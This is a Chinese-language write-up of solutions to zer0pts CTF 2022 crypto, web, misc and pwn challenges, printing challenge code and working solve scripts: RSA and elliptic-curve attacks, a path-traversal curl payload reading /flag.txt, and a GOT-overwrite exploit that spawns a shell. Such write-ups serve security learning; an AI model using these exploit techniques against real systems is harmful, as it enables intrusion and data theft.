zer0pts CTF 2022 Writeups

發表於
分類於 CTF

這次在 XxTSJxX 裡面解了些 zer0pts CTF 的題目,主要是 Crypto 方面為主。這篇會大概簡單的紀錄一下題目的解法而已,不會有太過詳細的說明。

Crypto

Anti-Fermat

from Crypto.Util.number import isPrime, getStrongPrime
from gmpy import next_prime
from secret import flag

# Anti-Fermat Key Generation
p = getStrongPrime(1024)
q = next_prime(p ^ ((1<<1024)-1))
n = p * q
e = 65537

# Encryption
m = int.from_bytes(flag, 'big')
assert m < n
c = pow(m, e, n)

print('n = {}'.format(hex(n)))
print('c = {}'.format(hex(c)))

可知它的 ppqq 分別是 bit inverse,所以顯然知道的是 p+q=21024+dp+q=2^{1024}+d,其中 dd 很小。所以爆搜後解下面的二次方程即可:

(xp)(xq)=x2(p+q)x+n=0(x-p)(x-q)=x^2-(p+q)x+n=0
from Crypto.Util.number import long_to_bytes

n = 0x1FFC7DC6B9667B0DCD00D6AE92FB34ED0F3D84285364C73FBF6A572C9081931BE0B0610464152DE7E0468CA7452C738611656F1F9217A944E64CA2B3A89D889FFC06E6503CFEC3CCB491E9B6176EC468687BF4763C6591F89E750BF1E4F9D6855752C19DE4289D1A7CEA33B077BDCDA3C84F6F3762DC9D96D2853F94CC688B3C9D8E67386A147524A2B23B1092F0BE1AA286F2AA13AAFBA62604435ACBAA79F4E53DEA93AE8A22655287F4D2FA95269877991C57DA6FDEEB3D46270CD69B6BFA537BFD14C926CF39B94D0F06228313D21EC6BE2311F526E6515069DBB1B06FE3CF1F62C0962DA2BC98FA4808C201E4EFE7A252F9F823E710D6AD2FB974949751
c = 0x60160BFED79384048D0D46B807322E65C037FA90FAC9FD08B512A3931B6DCA2A745443A9B90DE2FA47AAF8A250287E34563E6B1A6761DC0CCB99CB9D67AE1C9F49699651EAFB71A74B097FC0DEF77CF287010F1E7BD614DCCFB411CDCCBB84C60830E515C05481769BD95E656D839337D430DB66ABCD3A869C6348616B78D06EB903F8ABD121C851696BD4CB2A1A40A07EEA17C4E33C6A1BEAFB79D881D595472AB6CE3C61D6D62C4EF6FA8903149435C844A3FAB9286D212DA72B2548F087E37105F4657D5A946AFD12B1822CEB99C3B407BB40E21163C1466D116D67C16A2A3A79E5CC9D1F6A1054D6BE6731E3CD19ABBD9E9B23309F87BFE51A822410A62

P.<x> = ZZ[]

t = 1 << 1024
while True:
    f = x ^ 2 - t * x + n
    rs = f.roots()
    if len(rs) > 0:
        p = rs[0][0]
        q = n // p
        assert p * q == n
        break
    t += 1
d = inverse_mod(65537, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m).decode())
# zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d}

CurveCrypto

import os
from random import randrange
from Crypto.Util.number import bytes_to_long, long_to_bytes, getStrongPrime
from Crypto.Util.Padding import pad
from fastecdsa.curve import Curve

def xgcd(a, b):
    x0, y0, x1, y1 = 1, 0, 0, 1
    while b != 0:
        q, a, b = a // b, b, a % b
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return a, x0, y0

def gen():
    while True:
        p = getStrongPrime(512)
        if p % 4 == 3:
            break
    while True:
        q = getStrongPrime(512)
        if q % 4 == 3:
            break
    n = p * q
    a = randrange(n)
    b = randrange(n)

    while True:
        x = randrange(n)
        y2 = (x**3 + a*x + b) % n
        assert y2 % n == (x**3 + a*x + b) % n
        if pow(y2, (p-1)//2, p) == 1 and pow(y2, (q-1)//2, q) == 1:
            yp, yq = pow(y2, (p + 1) // 4, p), pow(y2, (q + 1) // 4, q)
            _, s, t = xgcd(p, q)
            y = (s*p*yq + t*q*yp) % n
            break
    return Curve(None, n, a, b, None, x, y) 

def encrypt(m, G):
    blocks = [m[16*i:16*(i+1)] for i in range(len(m) // 16)]
    c = []
    for i in range(len(blocks)//2):
        G = G + G
        c.append(G.x ^ bytes_to_long(blocks[2*i]))
        c.append(G.y ^ bytes_to_long(blocks[2*i+1]))
    return c

def decrypt(c, G):
    m = b''
    for i in range(len(c) // 2):
        G = G + G
        m += long_to_bytes(G.x ^ c[2*i])
        m += long_to_bytes(G.y ^ c[2*i+1])
    return m

flag = pad(os.environ.get("FLAG", "fakeflag{sumomomomomomomomonouchi_sumomo_mo_momo_mo_momo_no_uchi}").encode(), 32)
C = gen()
c = encrypt(flag, C.G)
assert decrypt(c, C.G) == flag

print("n = {}".format(C.p))
print("a = {}".format(C.a))
print("b = {}".format(C.b))
print("c = {}".format(c))

簡單來說它在一條 Zn\mathbb{Z}_n (其中 n=pqn=pq) 的橢圓曲線上找了一點 GG 作為 key,然後拿 2G,4G,8G2G, 4G, 8G \cdots 這樣下去的座標作為 key stream,和 flag xor 加密。

問題在於說 nn 是 1024 bits,但是它加密的 block 只有 16 bytes,即 128 bits。這代表說 cipher text 中其實包含了 2G2G 座標的 high bits,只有 x,y 底下的 128 bits 被搞亂而已。

解法就列出下面的等式:

(y+dy)2(x+dx)3+a(x+dx)+b(modn)(y+dy)^2 \equiv (x+dx)^3+a(x+dx)+b \pmod{n}

然後用 coppersmith 求 dx,dydx, dy 後得到 2G2G,之後解密即可。

恢復 2G2G 的 code:

n = 144119247523820514307319742558945817289524321678464785828165262389987364282241677120346992289602773032781170623185859522408681068717004227361637296377314973988883717763449514502353544535632434189976809320943402560377421207936239458384129077990667822889168041784489265932700188699685494064706711885776064499497
a = 83982245487363010227377287615815704138676734572052340268107937333404040064487258387610318909300475704005267406361509228314981566916144028418544919408625857597243933586742790305821574823017061268314657578742703998273111267249007415214833152992932175602495617018238154444547422725699672732735594492967242602718
b = 102854241650706614574910858961148621902783569513613650939938174283440416794379436560775021794677794290971284767314108620894847399989166711219489947662922391647064573171363714323032220660223765035347554282052095512011142748460282601639626032525448005114625186640435086840602281790716023653081557628791656792754
c = [
    105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983149197374154699808776545479724047776709,
    119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712497284900223656294050022339709410514520,
    77449803463514047535477961978015960018035778347793833401263588747978475501148536780819549296447786417024775899457091074251167349568353877838782428368954481576827862607179873977973077737374411980559467128298050283927229354740670622117284854556777626729609958202274963553796799701913426256413699327094959918436,
    19881898638980767541769585302774976337079209934548061143259050559139791898245439933411471322660256972236103364955342341822881304403603105610433373205174678091884754857958259183427619764249723943787639988589593508171175819610469625589807019978156747244656206732357606116993349990555417285468500357366492529137,
]

load("coppersmith.sage")
P.<xx,yy> = Zmod(n)[]
x = c[0] + xx
y = c[1] + yy
f = y ^ 2 - (x ^ 3 + a * x + b)

xx, yy = small_roots(f, (2 ^ 128, 2 ^ 128))[0]
x = (c[0] + xx) % n
y = (c[1] + yy) % n
assert (y ^ 2) % n == (x ^ 3 + a * x + b) % n
print(x, y)  # 2G

剩下解密的 code:

from Crypto.Util.number import long_to_bytes
from fastecdsa.curve import Curve


def decrypt(c, G):
    m = b""
    for i in range(len(c) // 2):
        m += long_to_bytes(G.x ^ c[2 * i])
        m += long_to_bytes(G.y ^ c[2 * i + 1])
        G = G + G
    return m


n = 144119247523820514307319742558945817289524321678464785828165262389987364282241677120346992289602773032781170623185859522408681068717004227361637296377314973988883717763449514502353544535632434189976809320943402560377421207936239458384129077990667822889168041784489265932700188699685494064706711885776064499497
a = 83982245487363010227377287615815704138676734572052340268107937333404040064487258387610318909300475704005267406361509228314981566916144028418544919408625857597243933586742790305821574823017061268314657578742703998273111267249007415214833152992932175602495617018238154444547422725699672732735594492967242602718
b = 102854241650706614574910858961148621902783569513613650939938174283440416794379436560775021794677794290971284767314108620894847399989166711219489947662922391647064573171363714323032220660223765035347554282052095512011142748460282601639626032525448005114625186640435086840602281790716023653081557628791656792754
c = [
    105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983149197374154699808776545479724047776709,
    119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712497284900223656294050022339709410514520,
    77449803463514047535477961978015960018035778347793833401263588747978475501148536780819549296447786417024775899457091074251167349568353877838782428368954481576827862607179873977973077737374411980559467128298050283927229354740670622117284854556777626729609958202274963553796799701913426256413699327094959918436,
    19881898638980767541769585302774976337079209934548061143259050559139791898245439933411471322660256972236103364955342341822881304403603105610433373205174678091884754857958259183427619764249723943787639988589593508171175819610469625589807019978156747244656206732357606116993349990555417285468500357366492529137,
]

gx = 105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983114163361424268999964406373744402729889
gy = 119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712596897120285942097736344387658770086763
C = Curve(None, n, a, b, None, gx, gy)
print(decrypt(c, C.G).decode().strip())

# zer0pts{th3_g00d_3ncrypti0n_c0m3s_fr0m_th3_g00d_curv3}

EDDH

from random import randrange
from Crypto.Util.number import inverse, long_to_bytes
from Crypto.Cipher import AES
from hashlib import sha256
import ast
import os
import signal

n = 256
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 1
q = 64141017538026690847507665744072764126693080268699847241685146737444135961328
c = 4
gx = 36618472676058339844598776789780822613436028043068802628412384818014817277300
gy = 9970247780441607122227596517855249476220082109552017755637818559816971965596

def xor(xs, ys):
    return bytes(x^y for x, y in zip(xs, ys))

def pad(b, l):
    return b + b"\0" + b"\xff" * (l - (len(b) + 1))

def unpad(b):
    l = -1
    while b[l] != 0:
        l -= 1
    return b[:l]

def add(P, Q):
    (x1, y1) = P
    (x2, y2) = Q

    x3 = (x1*y2 + y1*x2) * inverse(1 + d*x1*x2*y1*y2, p) % p
    y3 = (y1*y2 - a*x1*x2) * inverse(1 - d*x1*x2*y1*y2, p) % p
    return (x3, y3)

def mul(x, P):
    Q = (0, 1)
    x = x % q
    while x > 0:
        if x % 2 == 1:
            Q = add(Q, P)
        P = add(P, P)
        x = x >> 1
    return Q

def to_bytes(P):
    x, y = P
    return int(x).to_bytes(n // 8, "big") + int(y).to_bytes(n // 8, "big")

def send(msg, share):
    assert len(msg) <= len(share)
    print(xor(pad(msg, len(share)), share).hex())

def recv(share):
    inp = input()
    msg = bytes.fromhex(inp)
    assert len(msg) <= len(share)
    return unpad(xor(msg, share))

def main():
    signal.alarm(300)

    flag = os.environ.get("FLAG", "0nepoint{frog_pyokopyoko_3_pyokopyoko}")
    assert len(flag) < 2*8*n
    while len(flag) % 16 != 0:
        flag += "\0"

    G = (gx, gy)
    s = randrange(0, q)
    print(f'{s = }')

    print("sG = {}".format(mul(s, G)))
    tG = ast.literal_eval(input("tG = "))  # you should input something like (x, y)
    assert len(tG) == 2
    assert type(tG[0]) == int and type(tG[1]) == int
    share = to_bytes(mul(s, tG))

    while True:
        msg = recv(share)
        if msg == b"flag":
            aes = AES.new(key=sha256(long_to_bytes(s)).digest(), mode=AES.MODE_ECB)
            send(aes.encrypt(flag.encode()), share)

        elif msg == b"quit":
            quit()

        else:
            send(msg, share)

if __name__ == '__main__':
    main()

這題可以和 server 在一個 edward curve 上做 diffie hellman,通訊也都會使用 shared secret 來加密。

關鍵在於說他完全沒有檢查我們傳過去的點有沒有在 curve 上,而 edward curve 有個 invalid curve attack 是利用說它的加法公式有以下的性質:

(0,y1)+(0,y2)=(0,y1y2)(0,y_1)+(0,y_2)=(0,y_1 y_2)

所以有

s×(0,y)=(0,ys)s \times (0,y)=(0,y^s)

然後很容易就能發現說它的 p1p-1 相當 smooth,所以拿到點之後用 pohlig hellman 算出 ss 後就能解密 flag 了。

要得到它的點也是有點小技巧,我是傳送 (0,2)(0,2) 這個點過去,然後 server 會計算 (0,2s)(0,2^s) 然後轉成 bytes 得到 share,然後通訊的時候都用 share xor 加密。首先先傳送 '\x00' * 64 過去後它大概會進到 else 中,然後因為是 (0,2s)(0,2^s) 所以可猜測 len(msg) == 31,這樣 send(msg, share) 的 padding 就會是 b'\x00' * 31 + b'\x00' + b'\xff' * 32。把拿到的訊息和 padding xor 就能得到 share,也就能還原出 (0,2s)(0,2^s)

from pwn import *
from sage.all import GF
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
import ast

context.log_level = "debug"


def xor(xs, ys):
    return bytes(x ^ y for x, y in zip(xs, ys))


def pad(b, l):
    return b + b"\0" + b"\xff" * (l - (len(b) + 1))


def unpad(b):
    l = -1
    while b[l] != 0:
        l -= 1
    return b[:l]


def add(P, Q):
    (x1, y1) = P
    (x2, y2) = Q

    x3 = (x1 * y2 + y1 * x2) * inverse(1 + d * x1 * x2 * y1 * y2, p) % p
    y3 = (y1 * y2 - a * x1 * x2) * inverse(1 - d * x1 * x2 * y1 * y2, p) % p
    return (x3, y3)


def mul(x, P):
    Q = (0, 1)
    x = x % q
    while x > 0:
        if x % 2 == 1:
            Q = add(Q, P)
        P = add(P, P)
        x = x >> 1
    return Q


def to_bytes(P):
    x, y = P
    return int(x).to_bytes(n // 8, "big") + int(y).to_bytes(n // 8, "big")


def from_bytes(b):
    x = int.from_bytes(b[:32], "big")
    y = int.from_bytes(b[32:], "big")
    return x, y


n = 256
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 1
q = 64141017538026690847507665744072764126693080268699847241685146737444135961328
c = 4

gx = 36618472676058339844598776789780822613436028043068802628412384818014817277300
gy = 9970247780441607122227596517855249476220082109552017755637818559816971965596

# io = process(["python", "server.py"])
io = remote("crypto.ctf.zer0pts.com", 10929)
io.recvuntil(b"sG = ")
sG = ast.literal_eval(io.recvlineS())
io.sendlineafter(b"tG = ", b"(0, 2)")
io.sendline((b"\x00" * 64).hex().encode())
# assuming it is trimmed to 31 bytes
# so padded message will be b'\x00' * 31 + b'\x00' + b'\xff' * 32
padded = b"\x00" * 31 + b"\x00" + b"\xff" * 32
_, ys = from_bytes(xor(padded, bytes.fromhex(io.recvlineS())))


s = GF(p)(ys).log(2)
assert mul(s, (gx, gy)) == sG, "Try again"
print(s)

share = to_bytes(mul(s, (0, 2)))
io.sendline(xor(pad(b"flag", len(share)), share).hex().encode())
ct = xor(bytes.fromhex(io.recvlineS()), share)
cipher = AES.new(key=sha256(long_to_bytes(s)).digest(), mode=AES.MODE_ECB)
flag = cipher.decrypt(ct)
print(flag)

# zer0pts{edwards_what_the_hell_is_this}

Karen

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read(), "big")

n = 70
m = flag.bit_length()
assert n < m
p = random_prime(2**512)


F = GF(p)
x = random_matrix(F, 1, n)
A = random_matrix(ZZ, n, m, x=0, y=2)
A[randint(0, n-1)] = vector(ZZ, Integer(flag).bits())
h = x*A

print(p)
print(list(h[0]))

題目很短,簡單來說是有個 512 bits 的質數 pp,一個 n×mn \times m 的 binary matrix AA,還有個 uniform random 的向量 xx。知道的只有 pph=xAh=xA 而已,目標是要還原出 AA

這個問題叫做 hidden subset sum problem,不久前在 AIS3 EOF Quals 就有解過。預期解法就是利用 A Polynomial-Time Algorithm for Solving the Hidden Subset Sum Problem 這篇論文。

我是直接拿之前的 code 來改,因為參數不同導致裡面有出現一些小 bug,例如之前我以為對 hh LLL 後的前 nn 個向量是 orthogonal lattice 的 basis,這次重新 review 後才發現是 mnm-n 個向量才對。之前之所以能對是因為當時 m=2nm=2n

import ast

with open("output.txt") as f:
    p = ast.literal_eval(f.readline())
    h = ast.literal_eval(f.readline())


m = len(h)
n = 70

# orthogonal lattice
B = matrix(h).T.augment(matrix.identity(m)).stack(vector([p] + [0] * m))
nr = m - n
print("start BKZ", B.dimensions())
# ortho = B.LLL()[:nr, 1:]
ortho = B.BKZ()[:nr, 1:]
print(ortho)
# print(ortho * A.T)  # first nr rows are zeros
# exit()

R = ortho.T.augment(matrix.identity(m))

# print('after')
# print((A*R)[:,:nr])
# print('after nr')
# print((A*R)[:,nr:])
# exit()

R[:, :nr] *= 2 ^ 10
print("start LLL", R.dimensions())
# R = R.BKZ(algorithm="NTL")
R = R.LLL()

print("=" * 10)

goodvecs = []
for row in R:
    if any([x != 0 for x in row[:nr]]):
        continue
    if all(-1 <= x <= 1 for x in row):
        goodvecs.append(row[nr:])
        print(row[nr:])
print("gvecs", len(goodvecs))


def is_good(v):
    if all([x == 0 for x in v]):
        return None
    if all([0 <= x <= 1 for x in v]):
        return tuple(v)
    if all([-1 <= x <= 0 for x in v]):
        return tuple(-v)

print("find 01 basis")

from itertools import product
from tqdm import tqdm

avecs = set()
for v in goodvecs:
    if all(0 <= x <= 1 for x in v):
        avecs.add(tuple(v))
        bestvec = v
print(len(avecs))
for v1 in tqdm(goodvecs):
    for v2 in goodvecs:
        for coef in product([-1, 0, 1], repeat=3):
            vv = coef[0] * v1 + coef[1] * v2 + coef[2] * bestvec
            if any([x < 0 for x in vv]):
                vv = -vv
            if all([0 <= x <= 1 for x in vv]) and sum(vv) != 0:
                avecs.add(tuple(vv))
    if len(avecs) == n:
        break

print(len(avecs))
avecs = list(avecs)
AT = matrix(ZZ, avecs).T
x = AT.change_ring(Zmod(p)).solve_right(vector(h)).change_ring(ZZ)
print(x)

from Crypto.Util.number import *

for row in AT.T:
    bits = "".join(map(str, row))[::-1]
    m = int(bits, 2)
    f = long_to_bytes(m)
    if b"zer0pts" in f:
        print(f)

# zer0pts{Karen_likes_orthogonal_as_you_like}

Web

GitFile Explorer

<?php
function h($s) { return htmlspecialchars($s); }
function craft_url($service, $owner, $repo, $branch, $file) {
    if (strpos($service, "github") !== false) {
        /* GitHub URL */
        return $service."/".$owner."/".$repo."/".$branch."/".$file;

    } else if (strpos($service, "gitlab") !== false) {
        /* GitLab URL */
        return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file;

    } else if (strpos($service, "bitbucket") !== false) {
        /* BitBucket URL */
        return $service."/".$owner."/".$repo."/raw/".$branch."/".$file;

    }

    return null;
}

$service = empty($_GET['service']) ? "" : $_GET['service'];
$owner   = empty($_GET['owner'])   ? "ptr-yudai" : $_GET['owner'];
$repo    = empty($_GET['repo'])    ? "ptrlib"    : $_GET['repo'];
$branch  = empty($_GET['branch'])  ? "master"    : $_GET['branch'];
$file    = empty($_GET['file'])    ? "README.md" : $_GET['file'];

if ($service) {
    $url = craft_url($service, $owner, $repo, $branch, $file);
    if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
        $result = file_get_contents($url);
    }
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>GitFile Explorer</title>
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple-v1.css">
    </head>
    <body>
        <header>
            <h1>GitFile Explorer API Test</h1>
            <p>Simple API to download files on GitHub/GitLab/BitBucket</p>
        </header>
        <main>
            <form method="GET" action="/">
                <label for="service">Service: </label>
                <select id="service" name="service" autocomplete="off">
                    <option value="https://raw.githubusercontent.com" <?= strpos($service, "github") === false ? "" : 'selected="selected"' ?>>GitHub</option>
                    <option value="https://gitlab.com" <?= strpos($service, "gitlab") === false ? "" : 'selected="selected"' ?>>GitLab</option>
                    <option value="https://bitbucket.org" <?= strpos($service, "bitbucket") === false ? "" : 'selected="selected"' ?>>BitBucket</option>
                </select>
                <br>
                <label for="owner">GitHub ID: </label>
                <input id="owner" name="owner" type="text" placeholder="Repository Owner" value="<?= h($owner); ?>">
                <br>
                <label for="repo">Repository Name: </label>
                <input id="repo" name="repo" type="text" placeholder="Repository Name" value="<?= h($repo); ?>">
                <br>
                <label for="branch">Branch: </label>
                <input id="branch" name="branch" type="text" placeholder="Branch Name" value="<?= h($branch); ?>">
                <br>
                <label for="file">File Path: </label>
                <input id="file" name="file" type="text" placeholder="README.md" value="<?= h($file); ?>">
                <br>
                <input type="submit" value="Download">
            </form>
            <?php if (isset($result)) { ?>
                <br>
                <?php if ($result === false) { ?>
                    <p>Not Found :(</p>
                <?php } else {?>
                    <textarea rows="20" cols="40"><?= h($result); ?></textarea>
                <?php } ?>
            <?php } ?>
        </main>
        <footer>
            <p>zer0pts CTF 2022</p>
        </footer>
    </body>
</html>

一個簡單的 php 服務,目標是要讀 /flag.txt。可知它根本沒檢查 url 一定要 https?:// 開頭,所以可以用 http/../../ 這樣的方法去 traversal 讀檔搞定。

curl 'http://gitfile.ctf.zer0pts.com:8001/' -G --data-urlencode 'service=http///github' --data-urlencode 'file=../../../../../../../../flag.txt'
# zer0pts{foo/bar/../../../../../directory/traversal}

Disco Party

一個奇怪的 web 服務,最關鍵的 code 是這個部分:

@app.route("/api/report", methods=["POST"])
def api_report():
    """Reoprt an invitation ticket"""
    # Get parameters
    try:
        url = flask.request.form["url"]
        reason = flask.request.form["reason"]
        recaptcha_token = flask.request.form["g-recaptcha-response"]
    except Exception:
        return flask.abort(400, "Invalid request")

    # Check reCAPTCHA
    score = verify_recaptcha(recaptcha_token)
    if score == -1:
        return flask.jsonify({"result": "NG", "message": "Recaptcha verify failed"})
    if score <= 0.3:
        return flask.jsonify({"result": "NG", "message": f"Bye robot (score: {score})"})

    # Check URL
    parsed = urllib.parse.urlparse(url.split('?', 1)[0])
    if len(parsed.query) != 0:
        return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
    if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
        return flask.jsonify({"result": "NG", "message": "Invalid host"})

    # Parse path
    adapter = app.url_map.bind(flask.request.host)
    endpoint, args = adapter.match(parsed.path)
    if endpoint != "get_post" or "id" not in args:
        return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})

    # Check ID
    if not get_redis_conn(DB_TICKET).exists(args["id"]):
        return flask.jsonify({"result": "NG", "message": "Invalid ID"})

    key = get_key(args["id"])
    message = f"URL: {url}?key={key}\nReason: {reason}"

    try:
        get_redis_conn(DB_BOT).rpush(
            'report', message[:MESSAGE_LENGTH_LIMIT]
        )
    except Exception:
        return flask.jsonify({"result": "NG", "message": "Post failed"})

    return flask.jsonify({"result": "OK", "message": "Successfully reported"})

它會把你傳送的網址做一些檢查,然後組合成 message 後讓一個 Discord Bot 把訊息傳送到一個 secret channel 中。目標是要獲得一個 note 對應 idkey 就能有 flag。

簡單 query string 那邊簡單,隨便就過了。netloc 的話因為 flask.request.url_root 會受 Host header 影響的樣子所以可控,也能繞過。檢查有沒有符合 path 的部分是要讓 path 成為 /post/[^/]{16} 才能 match。

所以就讓自己 server 的 url 通過檢查,然後它會傳送訊息到 Discord 上,而 Discord 會自動對連結去 request,所以 server 端就能拿到 key。之後自己用 key 去換 flag 即可。

這題好像是出壞的題目,修正版是 Disco Festival

Misc

MathHash

import struct
import math
import signal
import os

def MathHash(m):
    hashval = 0
    for i in range(len(m)-7):
        c = struct.unpack('<Q', m[i:i+8])[0]
        t = math.tan(c * math.pi / (1<<64))
        hashval ^= struct.unpack('<Q', struct.pack('<d', t))[0]
    return hashval

if __name__ == '__main__':
    FLAG = os.getenv('FLAG', 'zer0pts<sample_flag>').encode()
    assert FLAG.startswith(b'zer0pts')

    signal.alarm(1800)
    try:
        while True:
            key = bytes.fromhex(input("Key: "))
            assert len(FLAG) >= len(key)

            flag = FLAG
            for i, c in enumerate(key):
                flag = flag[:i] + bytes([(flag[i] + key[i]) % 0x100]) + flag[i+1:]

            h = MathHash(flag)
            print("Hash: " + hex(h))
    except:
        exit(0)

這題有個很奇怪的 Hash function,oracle 可以送訊息和 flag xor 後回傳 digest。

我的解法主要利用已知的 flag prefix zer0pts{ 開始,之後嘗試去一個一個爆。我是注意到說 hash 中 block 比較前面的部分影響小,所以構造 '\xff' * n + ? 這樣的 key 去炸,因為 hash 都是用 xor 弄的所以可以把一堆 hash xor 在一起當作是一個 message 在這個 key 格式下的特徵值,同時也能消除後面未知部分的 hash 的影響。

弄到一個 key 格式後對 remote 取得它的特徵值,然後之後用一樣的 key 和猜測的 plaintext 去炸,看看誰比較相似就知道誰才是 plaintext,直到炸出完整的 flag。

from pwn import *
from tqdm import tqdm

# io = process(['python', 'server.py'])
io = remote("misc.ctf.zer0pts.com", 10001)


def get_hash(key):
    io.sendlineafter(b"Key: ", key.hex().encode())
    io.recvuntil(b"Hash: ")
    return int(io.recvlineS(), 16)


def MathHash(m):
    hashval = 0
    for i in range(len(m) - 7):
        c = struct.unpack("<Q", m[i : i + 8])[0]
        t = math.tan(c * math.pi / (1 << 64))
        hashval ^= struct.unpack("<Q", struct.pack("<d", t))[0]
    return hashval


def khash(m, k):
    if m == b"FLAG":
        return get_hash(k)
    for i, c in enumerate(k):
        m = m[:i] + bytes([(m[i] + k[i]) % 0x100]) + m[i + 1 :]
    return MathHash(m)


def diff(m, kpfx, wrapper=lambda x: x):
    hashes = []
    for x in wrapper(range(256)):
        hashes.append(khash(m, kpfx + bytes([x])))
    return [x ^ y for x in hashes for y in hashes]


def sim(x, y):
    l = len([1 for a, b in zip(x, y) if a == b])
    return l / len(x)


known = b"zer0pts{s1gn+|3xp^|fr4c"
while not known.endswith(b'}'):
    kpfx = (len(known) - 6) * b"\xff"  # 6 may need to be adjusted
    dflag = diff(b"FLAG", kpfx, wrapper=tqdm)
    good = []
    for x in range(0x20, 0x7F):
        d = diff(known + bytes([x]), kpfx)
        s = sim(d, dflag)
        if s > 0.9:
            good.append((bytes([x]), s))
    good.sort(key=lambda t: t[1], reverse=True)
    good = [x for x, y in good]
    if len(good) == 1:
        known += good[0]
    else:
        print(good)
        known += good[int(input("which: "))]
    print(known)

# zer0pts{s1gn+|3xp^|fr4c.}

Pwn

Modern Rome

#include <string>
#include <iostream>

short buf[10];

void win() {
  std::system("/bin/sh");
}

short readroman(){
  short res = 0;
  std::string s;

  std::cin >> s;
  auto it = s.crbegin();

  int b = 1;
  for (auto c: "IXCM") {
    int cnt = 0;
    while (cnt < 9 && it != s.crend() && *it == c) {
      it++;
      cnt++;
    }
    res += b * cnt;
    b *= 10;
  }

  return res;
}

int main() {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "ind: ";
  int ind = readroman();
  std::cout << "val: ";
  int val = readroman();

  std::cout << "buf[" << ind << "] = " << val << std::endl;
  buf[ind] = val;

  std::exit(0);
}

這題沒 PIE,也只有 Partial RELRO,所以很明顯是要用它給的越界寫入蓋掉 GOT table 中的 exitwin

不過因為 buf 的位置在 exit@got 後面,要能寫到那個位置需要讓 short overflow 才行,但是 readroman 看起來最高只能弄到 9999 的數字而已。

關鍵在於 auto c: "IXCM" 的部分其實包含了 \0,這是因為 "IXCM" 其實是 {'I', 'X', 'C', 'M', '\0'}。所以多傳 \0 進去就能讓它 overflow,也就能寫 exit@got

overwrite 因為原本上面的 entry 是指向 PLT,所以 partial overwrite 底下兩個 byte 就夠蓋成 win 函數拿 shell 了。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

exit_got = 0x404058
buf = 0x404340
win = 0x4012F6

index = (exit_got - buf) // 2

if index < 0:
    index += 2 ** 16

# index = 0x1111


def to_roman(n):
    ret = ""
    ret = (n % 10) * "I" + ret
    ret = ((n // 10) % 10) * "X" + ret

    ret = ((n // 100) % 10) * "C" + ret
    ret = ((n // 1000) % 10) * "M" + ret
    ret = ((n // 10000) % 10) * "\x00" + ret
    return ret


print(hex(index))
# io = gdb.debug('./chall', 'b *(main+216)\nc')
io = remote("pwn1.ctf.zer0pts.com", 9000)
io.sendlineafter(b"ind: ", to_roman(index).encode())
io.sendlineafter(b"val: ", to_roman(win & 0xFFFF).encode())  # partial override
io.interactive()

# zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}